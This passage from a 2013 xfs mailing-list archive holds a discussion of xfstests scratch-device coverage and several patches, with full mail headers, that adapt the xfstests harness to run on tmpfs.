multiple > > configurations without perturbing the long term aging of the test > > device. > > But you're limiting yourself to the tests only using the scratch > device for that testing, leaving out all the ones using the TEST > directory. > > > I'm not opposed to making the change, just pointing out that > > reducing the usage of the scratch device has a fairly significant > > impact on test coverage for anyone who uses MKFS_OPTIONS in their > > workflow... > > It does have an impact for that particular workload, but I think that > workload is broken as you only test your specific config for those > tests using the scratch device, and do not get the coverage for the > tests using the test device. > > git-grep -l TEST_DIR tests/generic/ | grep -v out | wc -l > 65 > git-grep -l TEST_DIR tests/xfs/ | grep -v out | wc -l > 23 > > > hch@brick:~/work/xfstests$ git-grep -l _require_scratch tests/generic/ | wc -l > 58 > hch@brick:~/work/xfstests$ git-grep -l _require_scratch tests/xfs/ | wc -l > 128 > > So you're missing close to 2/3s of the tests already. I think you got that the wrong way around: that's 2/3rds of the tests (186) use the scratch device rather than the test device. There's also roughly 100 tests (of ~160) in the quick group that use the scratch device. Hence doing smoke tests by simply changing the MKFS_OPTIONS gets a significant amount of coverage *quickly*, and that's usually more than sufficient to flush out bugs during development. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jayr@google.com Tue Dec 17 16:18:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F23187F3F for ; Tue, 17 Dec 2013 16:18:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id C98C0304053 for ; Tue, 17 Dec 2013 14:18:54 -0800 (PST) X-ASG-Debug-ID: 1387318733-04cbb041677e6a50001-NocioJ Received: from mail-yh0-f74.google.com (mail-yh0-f74.google.com [209.85.213.74]) by cuda.sgi.com with ESMTP id L2tswDfP8ipffoRD (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:53 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.213.74 X-Barracuda-IPDD: Level1 [google.com/209.85.213.74] Received: by mail-yh0-f74.google.com with SMTP id a41so667378yho.3 for ; Tue, 17 Dec 2013 14:18:53 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.213.74] X-Barracuda-IPDD: Level1 [google.com/209.85.213.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=QgsmONKBx62woF2aVwoyaGCf2lM9Myh2AsL82RQnAG0=; b=ojcD2NaSLlipqzOWnI43u1IeB+Z7s98XWRKalANsR+RIWLfnR+unJ01Ea7OS3tT19g 9dzqRnFVnEzfJhzlN8hSS7Pa3nHyNqbITHHxSmhh2kTTBUWBt6W5r/PNUnDBO2kq3rnw OaSHmifmEZm3+9aWdmKtuXeeQ6sLFIqulSskcg2DyzUJaEFHYAHn0xvir1A0pQ9L7uNh /JSA0PsnYvYNedUVtXF2AQhbmm1nMFTX0JCnDuOY4fz4e8McDFhE1pmDfOM3cl4UfD6u Jcy+KXxpY1NkYPK0DMte66BntPYSs+gpAfO+sXGXuWomE/k7KXMuywKCxFfsNlKdf1DD 8fQw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=QgsmONKBx62woF2aVwoyaGCf2lM9Myh2AsL82RQnAG0=; b=bh5OLjYRHVEA5ndZr1jy2lRQkx0r8ANrFsmyH6Rt6hQuXzUVP0IUJHSEHWJOvYHzwL qr2Lw39S54SQBHeefAVEb5R6jpnoSKsG/wP0yKeXhk9mijaLZfRWXXxubhn/ZyNvkb74 uuZsoMvX+GrmohZGCKryjZAW3+IsTvh+OncEIpkf2QikhZUB8PqkaxP7qL9uz48oXbc3 8S5JoX4G037j4rcpkPmx+kb0Jn7LXxU+i53VXOtqy2CVFfBX3caIa0fhyGHk54btAbR2 V7r53qwUIRcUUeaWeEVsQQTftre7iNeF1Ppplw8VXP8w0ZJut7FgXFucV7jgsPZzXapl SOQw== X-Gm-Message-State: ALoCoQkV9WPc2nDrIK1kZ0PaMzeNSpCiqZzuNV6iVuPQ5RAdq6bBCOg5MvyBgw3CaAY8FUy/7BxwLgHYWVQHhahu/MrANJXzC6pICBWVWmfqzaaiKXuF3mLt588D2eTLrPUYPqOfgvR3aMDRk5sQQOe/8jKdWdvp1AKBH4d/MnhzD77qhQpkVJTGWbEgrMNTe+p1Spy/xd1E X-Received: by 10.236.17.161 with SMTP id j21mr1359630yhj.55.1387318733340; Tue, 17 Dec 2013 14:18:53 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id j47si3758251yhm.7.2013.12.17.14.18.53 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:53 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id C02A431C20C; Tue, 17 Dec 2013 14:18:52 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 02/12] xfstests: _scratch_mkfs_sized() for tmpfs Date: Tue, 17 Dec 2013 14:18:32 -0800 X-ASG-Orig-Subj: [PATCH v2 02/12] xfstests: _scratch_mkfs_sized() for tmpfs Message-Id: <1387318722-3050-2-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-yh0-f74.google.com[209.85.213.74] X-Barracuda-Start-Time: 1387318733 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins _scratch_mkfs_sized() avoid blockdev and update MOUNT_OPTIONS with required size on tmpfs, so those tests using it can now run. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v2: same as v1 common/rc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/common/rc b/common/rc index a2005c9..c78356e 100644 --- a/common/rc +++ b/common/rc @@ -590,7 +590,7 @@ _scratch_mkfs_sized() blocks=`expr $fssize / $blocksize` - if [ "$HOSTOS" == "Linux" ]; then + if [ "$HOSTOS" == "Linux" -a -d "$SCRATCH_DEV" ]; then devsize=`blockdev --getsize64 $SCRATCH_DEV` [ "$fssize" -gt "$devsize" ] && _notrun "Scratch device too small" fi @@ -611,6 +611,9 @@ _scratch_mkfs_sized() btrfs) $MKFS_BTRFS_PROG $MKFS_OPTIONS -b $fssize $SCRATCH_DEV ;; + tmpfs) + export MOUNT_OPTIONS="-o size=$fssize $TMPFS_MOUNT_OPTIONS" + ;; *) _notrun "Filesystem $FSTYP not supported in _scratch_mkfs_sized" ;; -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:18:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1BCD87F3F for ; Tue, 17 Dec 2013 16:18:56 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E15308F8078 for ; Tue, 17 Dec 2013 14:18:55 -0800 (PST) X-ASG-Debug-ID: 1387318734-04cbb041667e6a50001-NocioJ Received: from mail-qa0-f74.google.com (mail-qa0-f74.google.com [209.85.216.74]) by cuda.sgi.com with ESMTP id N23IshCtTYUxEZmg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:55 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.216.74 X-Barracuda-IPDD: Level1 [google.com/209.85.216.74] Received: by mail-qa0-f74.google.com with SMTP id i13so417317qae.3 for ; Tue, 17 Dec 2013 14:18:54 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.216.74] X-Barracuda-IPDD: Level1 [google.com/209.85.216.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=JtQfRzFliDdbFboMu9CjdA+EKl/NWsLtpm86Ce53MIM=; b=idYJ4vrc2RUTQVCvLwsopnrbPkwJ1heDRJSyP6lTDhEsRnn9z9mRP+GEMVYST2OjHD FhDIaa8wqo1dI92JN71a5HeLLJyg+0Hs9SWsgYevTnmsLb0TPy/Ke1NpfIiVcFrPnlUF hLuIYmehVfKvVfjyH0LbGiOfZMZ1id47CZ/JJez/9lovC9vmNDzkNIw1LRHc14Ek1uM6 E/6OBTnUgVtDwgcxtPNRS3o93XWjtYyl4OzcOKgbizGHlij7jBAJjiaoDt5idzBihOl3 ipE4TcVQbc8ka5AXhO6SPs9cST/G4LN1CbL4dx0esPjANoyW6Iwysv0anlmUtMmooh3G kOUA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=JtQfRzFliDdbFboMu9CjdA+EKl/NWsLtpm86Ce53MIM=; b=RhfIU565lqTNcyxBBGn9d4KiSkUWMS2kuwwu1DdGjwuVv+csdAtSGEYB8z9B7v+dmf 6nNzbsM0gVqY875PWLv07PFfB06b3Ps0aNhsn/+SUJndBs8Vs42+VH7rBGCfTDAWk1pu Y/g40qsWNesz7TZ2Px1L/kwsDN9RElXy3fLvela3xAaG6KzYFcHBfT2LEeFgHYqU6aSR yZUqdiwZQAuLq5ihaLkYb+MHlxYfGZHzJEKubz1W2oTDRALyNSKND6+eskorX2HVCRyN VVYZG/gLgPio1ibBRPStCsKwYdd657TcXhx1Kv2yE+Ik6MFvLhCo0I3ENh52lEioPsBi t6KA== X-Gm-Message-State: ALoCoQm5+iX9gm3veqZhBBsSHRouS8LSxEztW3xZF02H2p0gvrYHsiIbU+aufhbiTat34rHHeRQhDRwkfRWskkWfixNlSLba04Xp3tJNjQdQ8oBFbDhOY2q+oXAK8EwrPU6ZDASbqBB3JaVoeLt0AxW7HiiEtUSciE4ldy6+KQ4B47aS38vulZ3+a08whdiYQY2LeSsAXTjc X-Received: by 10.236.102.40 with SMTP id c28mr8252938yhg.11.1387318734538; Tue, 17 Dec 2013 14:18:54 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id h23si4866960yhk.6.2013.12.17.14.18.54 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:54 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 046E031C204; Tue, 17 Dec 2013 14:18:53 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 04/12] xfstests: rename _require_xfs_io_fiemap to _require_fiemap Date: Tue, 17 Dec 2013 14:18:34 -0800 X-ASG-Orig-Subj: [PATCH v2 04/12] xfstests: rename _require_xfs_io_fiemap to _require_fiemap Message-Id: <1387318722-3050-4-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-qa0-f74.google.com[209.85.216.74] X-Barracuda-Start-Time: 1387318734 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Rename the function because we need both xfs_io and kernel support for the check, and we need xfs_io support to check for kernel support. Signed-off-by: Junho Ryu --- v2: new patch common/defrag | 2 +- common/rc | 2 +- tests/generic/255 | 2 +- tests/generic/316 | 2 +- tests/shared/298 | 2 +- tests/xfs/252 | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/common/defrag b/common/defrag index a4bc976..81b58e7 100644 --- a/common/defrag +++ b/common/defrag @@ -38,7 +38,7 @@ _require_defrag() esac _require_command $DEFRAG_PROG - _require_xfs_io_fiemap + _require_fiemap } _extent_count() diff --git a/common/rc b/common/rc index 45a45b0..1db313b 100644 --- a/common/rc +++ b/common/rc @@ -1281,7 +1281,7 @@ _require_xfs_io_falloc_punch() } # check that xfs_io, kernel and filesystem support fiemap -_require_xfs_io_fiemap() +_require_fiemap() { testfile=$TEST_DIR/$$.fiemap testio=`$XFS_IO_PROG -F -f -c "pwrite 0 20k" -c "fsync" \ diff --git a/tests/generic/255 b/tests/generic/255 index dd329b4..739629c 100755 --- a/tests/generic/255 +++ b/tests/generic/255 @@ -48,7 +48,7 @@ _supported_os Linux _require_xfs_io_falloc_punch _require_xfs_io_falloc -_require_xfs_io_fiemap +_require_fiemap testfile=$TEST_DIR/255.$$ diff --git a/tests/generic/316 b/tests/generic/316 index 8cb2975..4bb6c4a 100755 --- a/tests/generic/316 +++ b/tests/generic/316 @@ -46,7 +46,7 @@ _supported_fs generic _supported_os Linux _require_xfs_io_falloc_punch -_require_xfs_io_fiemap +_require_fiemap testfile=$TEST_DIR/$seq.$$ diff --git a/tests/shared/298 b/tests/shared/298 index 4541798..e8c3d48 100755 --- a/tests/shared/298 +++ b/tests/shared/298 @@ -33,7 +33,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 15 _supported_fs ext4 xfs _supported_os Linux _require_fstrim -_require_xfs_io_fiemap +_require_fiemap _require_fs_space $TEST_DIR 307200 [ "$FSTYP" = "ext4" ] && _require_dumpe2fs diff --git a/tests/xfs/252 b/tests/xfs/252 index 00be41a..1a5133e 100755 --- a/tests/xfs/252 +++ b/tests/xfs/252 @@ -47,7 +47,7 @@ _supported_fs xfs _supported_os Linux _require_xfs_io_falloc_punch -_require_xfs_io_fiemap +_require_fiemap testfile=$TEST_DIR/252.$$ -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:18:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3304E29DF8 for ; Tue, 17 Dec 2013 16:18:56 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D722D8F8071 for ; Tue, 17 Dec 2013 14:18:55 -0800 (PST) X-ASG-Debug-ID: 1387318734-04bdf00fdec87d0001-NocioJ Received: from mail-gg0-f201.google.com (mail-gg0-f201.google.com [209.85.161.201]) by cuda.sgi.com with ESMTP id ek72iiSZTRkxKEaS (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:54 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.161.201 X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] Received: by mail-gg0-f201.google.com with SMTP id k5so76760ggd.0 for ; Tue, 17 Dec 2013 14:18:54 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] X-Barracuda-IPDD: Level1 [google.com/209.85.161.201] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=QMeWXNMv623dgsiluH6JjnT/x3Sr6ftxziB1dSudKk8=; b=b07gYTICjBDcsIfaNNPsmAl1Ynz6TWPSaKUUw6JOet4Z2fXJRuTBWPQ5ajHzkshcck oFiBi+q8US+FQSOGqfG62HD7NrsW/P8ytW7CVltcqtlYinG/5ioPeKrFzr+/AvX8FDic qX21gI/aF9hFxRPaW4eUOdtEWn8LvH/TjM4MwTFxXHurxoTrn4bZKqEf9nvgLCCCutJo sT69VZt9D/6uiuyfrAufsJ9/ddtq5zpNbnXdOih9oZwriUjG6XWFpSmrTbHBId0Inj1Y 7pFmo1qKCXDVhsGTrUoqqjKyRYRWsyJtEH8RtIf7I2BstdnMuW9XbxfkgrgL4J+TQxCd LWaA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=QMeWXNMv623dgsiluH6JjnT/x3Sr6ftxziB1dSudKk8=; b=VIf81WNPDkBomABE+aiIPjoYdyMfhKFA8ZoDkaqteG4wsf3IGOjr8px3snidd6rZuF zXxZ2oL4FyG7MurcJOBIHakJvSC1UlI625ctTG0NMIN8S8r9607t/QTYQf+WOI9OqypY 9dLTpg6AX2dfBZeo4pQ/SQhQ3YvmTcR4K5MMOTjZj9sJNe59LYqKtg0R9WpO3Dl9OuSe fYc2i0kYhgzZy7PvB8kxGKkwtJi0tKldgnUumvdKX9meIuxOhcYMiQxMUyOCTsBteIGO umDKui2No5qaWbTdkce/zYOkHMxdO7Sq6vK3vWlD0uDRPUWMEqVZwM34H9Mu+Gl7jV54 R/Eg== X-Gm-Message-State: ALoCoQlKmr4bvw+9W82AZGEyPaqBJ0/BNINwl2WxOvYBjuD0Gq5b91rC896QOhGK5jsOsbnVIeXEShUy6078es5ASrPYrCCuj3pfypE+zwfKSGlQMh0RPS8s3qzyVdM4ouUb6L4t0HnVe8kLhBwa8b7TUMSZLrDfj+yiWR1pTET0tAOnAvcsnIcwFgtux1rid/RKqPHlzgKl X-Received: by 10.236.145.34 with SMTP id o22mr8405079yhj.22.1387318733963; Tue, 17 Dec 2013 14:18:53 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id k45si4868017yhn.4.2013.12.17.14.18.53 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:53 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 6520431C204; Tue, 17 Dec 2013 14:18:53 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 03/12] xfstests: increase tmpfs memory size Date: Tue, 17 Dec 2013 14:18:33 -0800 X-ASG-Orig-Subj: [PATCH v2 03/12] xfstests: increase tmpfs memory size Message-Id: <1387318722-3050-3-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-gg0-f201.google.com[209.85.161.201] X-Barracuda-Start-Time: 1387318734 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143180 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 512M is not enough for generic/129, generic/213 and generic/247. Raise default tmpfs size to 1G. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v2: same as v1 common/rc | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/common/rc b/common/rc index c78356e..45a45b0 100644 --- a/common/rc +++ b/common/rc @@ -113,8 +113,8 @@ _mount_opts() export MOUNT_OPTIONS="-o acl $GFS2_MOUNT_OPTIONS" ;; tmpfs) - # We need to specify the size at mount, use 512 MB by default - export MOUNT_OPTIONS="-o size=512M $TMPFS_MOUNT_OPTIONS" + # We need to specify the size at mount + export MOUNT_OPTIONS="-o size=${DEFAULT_TMPFS_SIZE_MB}M $TMPFS_MOUNT_OPTIONS" ;; *) ;; @@ -168,6 +168,8 @@ _fsck_opts() } [ -z "$FSTYP" ] && FSTYP=xfs +# Default tmpfs size in megabytes. +[ -z "$DEFAULT_TMPFS_SIZE_MB" ] && DEFAULT_TMPFS_SIZE_MB=1024 [ -z "$MOUNT_OPTIONS" ] && _mount_opts [ -z "$MKFS_OPTIONS" ] && _mkfs_opts [ -z "$FSCK_OPTIONS" ] && _fsck_opts -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:18:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8D32029E05 for ; Tue, 17 Dec 2013 16:18:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 64BE18F8071 for ; Tue, 17 Dec 2013 14:18:56 -0800 (PST) X-ASG-Debug-ID: 1387318735-04cb6c537e7ec9e0001-NocioJ Received: from mail-ob0-f202.google.com (mail-ob0-f202.google.com [209.85.214.202]) by cuda.sgi.com with ESMTP id KWP6nKk2DjPNXFdl (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 17 Dec 2013 14:18:55 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.202 Received: by mail-ob0-f202.google.com with SMTP id gq1so1375567obb.1 for ; Tue, 17 Dec 2013 14:18:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=yDTTZ+otXJUvgn4KP4Q6mE3IxxI9Qa32bx8L2fZeTcE=; b=KviXCRn97wgGowBRE151GjjA90oPFYgPUpH3IQM5caBOUwq+0byWGyLF51Jv4ZJQHj sBiocstGswHQV0jZF0hukQWVTCW5lkuYFKImhV1o1N4e0IeaDaQA97ncH5YKWaziKlxH OGs3znSdKRQ85sPEGc69TuqUTVwmOM/YYY+lb70LH1NV78zOXrnZD2OK8l9tzZ5LTUSJ kUV6KSujPGGIkfhHhiBXIkieKTHrAolUwniMT1MkDCgkPWOoRpgXwsZ5xGftLtiqTonO BV9OIbnt/YPQB9s7/IPp6VqFgsWhcjs59uG3gaAK2YkfKUFtUZkpTXjEplysxW8UwjQN j2xg== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=yDTTZ+otXJUvgn4KP4Q6mE3IxxI9Qa32bx8L2fZeTcE=; b=fkxPdiQ47tuRDliQK+/njAVG8XUhWjB9mELOz3EmWyAVllbJR2Lul1bcCQyUAOO5Yn crEvHXywrv0ichaNLCusVuq97TQ0g0gICFMsehPMdUm+dn6kWaifDD2IOkOa5/Y+WjUy amirfs8g7c6YNOKYHag4LiAsV32QEw5VKvTT9xUMWh139m5+SgfCunu3tKYWgvUUCtGg Vt/BTmAP4s4+7yt64HKVqtNOvOP2aSf44oDhmrFhjlvISD9Jkrw+eUuodJzfrwVpp9xZ CbNEi/cEAdRdXWVitzw/ELWKbbig32heMWUKXhL/X0vpGcSvz9tWzqKo9yKVPYsDU5QK KWng== X-Gm-Message-State: ALoCoQm2rtfBbpVRF7PCZz31YKxHXMZ1Yz8TAWmH7tJsrByJ/C6k8u+pC4FVy6DapkYKppdoxfcNnw9eQCPZLyuchkyjdt2SFl29/yylODlR66bhdHrjYO9p7Jsj6dI08+t5vsvHJv4ZJQlcntrM75717iyhheLzJpw9aRz34k40M4eHji+OmYOZ6k8XLZlxI5GlWCxAko3I X-Received: by 10.182.88.200 with SMTP id bi8mr3672018obb.43.1387318735176; Tue, 17 Dec 2013 14:18:55 -0800 (PST) Received: from corp2gmr1-1.hot.corp.google.com (corp2gmr1-1.hot.corp.google.com [172.24.189.92]) by gmr-mx.google.com with ESMTPS id l41si4867277yhi.5.2013.12.17.14.18.55 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 17 Dec 2013 14:18:55 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-1.hot.corp.google.com (Postfix) with ESMTP id 92EBD31C204; Tue, 17 Dec 2013 14:18:54 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v2 05/12] xfstests: fix generic/225 to check fiemap support Date: Tue, 17 Dec 2013 14:18:35 -0800 X-ASG-Orig-Subj: [PATCH v2 05/12] xfstests: fix generic/225 to check fiemap support Message-Id: <1387318722-3050-5-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387318722-3050-1-git-send-email-jayr@google.com> References: <1387318722-3050-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ob0-f202.google.com[209.85.214.202] X-Barracuda-Start-Time: 1387318735 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143181 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature generic/225 runs fiemap. Check fiemap support like other tests which use fiemap. Signed-off-by: Junho Ryu --- v2: renamed _require_xfs_io_fiemap to _require_fiemap tests/generic/225 | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/generic/225 b/tests/generic/225 index 73b125a..1fb1f94 100755 --- a/tests/generic/225 +++ b/tests/generic/225 @@ -44,6 +44,7 @@ _cleanup() _supported_fs generic _supported_os Linux _require_scratch +_require_fiemap _scratch_mkfs > /dev/null 2>&1 _scratch_mount > /dev/null 2>&1 -- 1.8.5.1 From jayr@google.com Tue Dec 17 16:18:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1F3FD29DF8 